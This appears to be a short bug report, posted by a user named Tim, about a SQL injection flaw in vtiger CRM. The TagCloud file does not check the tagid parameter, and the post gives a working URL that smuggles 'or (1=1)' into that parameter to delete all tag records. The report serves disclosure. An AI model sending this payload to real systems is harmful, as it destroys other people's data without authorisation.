I noticed that the TagCloud php file did no checking on the tagid request variable.<br><br>You can delete all records in the tag tables by using this URL:<br>vtigercrm/index.php?file=TagCloud&amp;module=Leads&amp;action=LeadsAjax&amp;ajxaction=DELETETAG&amp;tagid=0%20or%20(1=1);
<br><br>Tim<br>onwealdtim<br>